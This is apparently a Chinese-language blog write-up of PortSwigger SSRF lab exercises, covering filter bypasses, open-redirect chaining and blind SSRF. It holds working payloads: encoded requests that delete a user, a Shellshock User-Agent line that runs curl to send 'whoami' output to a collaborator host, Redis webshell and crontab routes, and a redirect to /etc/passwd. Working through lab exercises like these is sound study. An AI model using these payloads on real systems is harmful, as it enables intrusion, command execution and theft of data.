burp靶场之SSRF

概念

SSRF,即服务器端请求伪造,可以以服务器的身份发起请求。因为它是由服务器发起的,所以它能够请求到与它相连而与外网隔离的内部系统,同时如果以本地地址访问可能还会有不一样的收获。在某些情况下,SSRF漏洞可能允许攻击者执行任意命令。

题目

Basic SSRF against the local server

有个接口会触发请求的参数如下:

1
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D2%26storeId%3D1

根据题目的意思我们把这里的请求换成 http%3A%2F%2F127.0.0.1/admin 即可看到有个删除color的链接,复制接口加到payload后面即可。为什么应用程序会以这种方式运行,并隐式信任来自本地计算机的请求?发生这种情况可能有多种原因:

  • 访问控制检查可能是应用服务器前面的某个组件实现。与服务器本身建立连接后,将绕过检查。
  • 为了灾难恢复的目的,该应用程序可能允许无需登录即可对本地计算机上的任何用户进行管理访问。这为管理员提供了一种在丢失凭据的情况下恢复系统的方法。这里的假设是来自服务器本身的用户是完全受信任的。
  • 管理界面监听的端口号与前端可访问的应用不同,用户无法直接访问,所以默认未做权限控制。

Basic SSRF against another back-end system

这里是访问内网另外一个服务器的8080端口的 admin 页面,需要用到爆破,批量跑一下具体的ip,跑完发现是192.168.0.77/admin ,接下来的步骤跟前面一样了。

SSRF with blacklist-based input filter

这里禁掉了127.0.0.1和localhost,可以使用127.1 、spoofed.burpcollaborator.net 、2130706433 、017700000001来绕过这个限制,绕过host限制之后访问admin发现对路径也有限制,这里可以对其进行编码,因为过滤的是admin整体,所以只需要编码首字母即可,a 对应双重编码%2561 ,或者大写 Admin 也可以绕过。 确定过滤,想法绕过!

SSRF with whitelist-based input filter

这里是白名单,限制了host必须是 stock.weliketoshop.net ,这里需要绕过这个限制,有点像绕过URL跳转的感觉了。经过fuzz发现可以用@,但是#被过滤了,考虑双重URL编码,再加上@即可绕过这里的host限制了,最后的payload如下:

1
stockApi=http%3A%2F%2Fspoofed.burpcollaborator.net%2523@stock.weliketoshop.net/admin/delete?username=carlos

SSRF with filter bypass via open redirection vulnerability

这跟之前的点不一样了,这里只能访问相对路径了,不能再指定另外的host去访问,要利用就只能看看有没有URL跳转。发现每个商品页的右下角都会有个 Next product ,点击发现就会有任意URL跳转,加上题目要的是内网跳转地址,所以这里也不能直接利用来跳转,需要结合前面的利用,即stockApi=/product/nextProduct?currentProductId=2%26path=http://192.168.0.12:8080/admin/delete?username=carlos

Blind SSRF with out-of-band detection

带外攻击的ssrf ,解答的意思是修改referer ,没太明白意思。

Blind SSRF with Shellshock exploitation

还是盲SSRF ,这里内网有台主机有破壳漏洞,可以利用这个盲SSRF+破壳漏洞实现命令执行,跟前面一样还是修改referer ,经过服务器的请求记录发现会带上UA,结合破壳漏洞的触发场景就明白了,就是Referer实现SSRF,UA插Shellshock实现命令执行。

1
2
User-Agent: () { :; }; /usr/bin/curl $(whoami).8irw694w9nm6ao8cmwcmbb31psvjj8.burpcollaborator.net
Referer: http://tpm4pj6hp6cd5534a724d59znqtkh9.burpcollaborator.net

总结

利用方式

  • Apache Hadoop远程命令执行
  • axis2-admin部署Server命令执行
  • Confluence SSRF
  • counchdb WEB API远程命令执行
  • dict
  • docker API远程命令执行
  • Elasticsearch引擎Groovy脚本命令执行
  • ftp / ftps(FTP爆破)
  • glassfish任意文件读取和war文件部署间接命令执行
  • gopher
  • HFS远程命令执行
  • http、https
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • Java调试接口命令执行
  • JBOSS远程Invoker war命令执行
  • Jenkins Scripts接口命令执行
  • ldap
  • mongodb
  • php_fpm/fastcgi 命令执行
  • rtsp - smb/smbs(连接SMB)
  • sftp
  • ShellShock 命令执行
  • Struts2 命令执行
  • telnet
  • tftp(UDP协议扩展)
  • tomcat命令执行
  • WebDav PUT上传任意文件
  • WebSphere Admin可部署war间接命令执行
  • zentoPMS远程命令执行
  • redis
    • 写ssh公钥
    • 写crontab
    • 写WebShell
    • Windows写启动项
    • 主从复制加载 .so 文件
    • 主从复制写无损文件

绕过方法

ip过滤

例如192.168.0.1这个IP地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

除此之外还可以利用spoofed.burpcollaborator.net 和 xip.io ,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。

域名过滤

绕过可以参考URL跳转的绕过,可使用@、#、\、? 等等

协议绕过

如果限定了协议必须是http,就可以使用302跳转到我们可控的服务页面,页面会永久重定向到某个页面,示范如下:

1
2
<?php
header("Location: file:///etc/passwd")>

参考链接

https://joychou.org/web/phpssrf.html

https://www.anquanke.com/post/id/145519

https://websec.readthedocs.io/zh/latest/vuln/ssrf.html